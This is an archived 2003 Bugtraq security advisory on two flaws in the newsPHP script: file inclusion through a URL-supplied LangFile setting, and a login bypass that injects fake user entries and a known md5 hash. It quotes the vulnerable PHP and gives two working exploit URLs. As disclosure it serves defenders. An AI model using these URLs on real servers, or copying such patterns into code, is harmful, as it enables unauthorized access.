newsPHP file inclusion & bad login validation

From: Dariusz 'Officerrr' Kolasinski (officerrr_at_poligon.com.pl)
Date: 08/25/03

  • Next message: bugzilla_at_redhat.com: "[RHSA-2003:213-01] Updated iptables packages are available" 
    Date: Mon, 25 Aug 2003 05:04:22 +0200
To: bugtraq@securityfocus.com

    newsPHP arbitary file inclusion & bad login validation

    ===+++===+++===+++
    Product: newsPHP
    Version: <= v216
    Vendor: http://www.nphp.net
    Author: Officerrr <officerrr@poligon.com.pl>
    Discover by: Officerrr <officerrr@poligon.com.pl>
    Vendor Response: Not contacted yet...
    ===+++===+++===+++

    Problem #1:
    ===+++===+++===+++
    Attacker can include any existing file on the web server,
    if the LangFile is not set in config (it is not set by default).

    PHP Code/Location #1:
    ===+++===+++===+++
    -- from nphpd.php
    [..]
    // We know what we are supposed to be doing
    // now. Load in a custom language if they
    // have it set.
    [..]
    Oh yeah, we are ;]
    [..]
      if(isset($nphp_config["LangFile"]))
      {
       if(strtolower($nphp_config["LangFile"]) != "default" && $nphp_config["LangFile"] != "" && file_exists($nphp_config["LangFile"]))
       {
         include($nphp_config["LangFile"]);
       }
      }
    [...]

    Exploit #1:
    ===+++===+++===+++
    http://[host]/nphp/nphpd.php?nphp_config[LangFile]=/evil/file

    Problem #2:
    ===+++===+++===+++
    User can preform any other action than 'login' without knowing
    the password and valid username.

    Snip #2:
    ===+++===+++===+++
    md5('a') is '0cc175b9c0f1b6a831c399e269772661'

    PHP Code/Location #2:
    ===+++===+++===+++
    -- from nfunc.php
      function LoadSettings(&$config, &$users)
    [...]
              $users[$id][] = eregi_replace("[\n\r]","",$raw_config_line[$x]);
    [...]

    -- from nphpd.php
    [...]
    LoadSettings($nphp_config, $nphp_users);
    [...]
        for($i = 0; $i < count($nphp_users); $i++)
              {
                      if((strtolower($nphp_users[$i][0]) == strtolower($uname)) && ($nphp_users[$i][1] == md5($pword)))
                      {
    [...]
    // hmmmm so we can inject users using nphp_users[index] in url

    Exploit #2:
    ===+++===+++===+++
    http://[host]/nphp/?[action here, example: output]&
         pword=a&
         uname=[fake usernamehere]&
         nphp_users[user index here][0]=a&
         nphp_users[user index here][1]=0cc175b9c0f1b6a831c399e269772661&
         nphp_users[user index here][3]=5 

    -- 
Pozdrawiam,
Dariusz 'Officerrr' Kolasinski
[Linux Administrator] [gg: 516354] [uin: 83041742]
"Silent my voice, I've got no choice..."
  • Next message: bugzilla_at_redhat.com: "[RHSA-2003:213-01] Updated iptables packages are available"

    Relevant Pages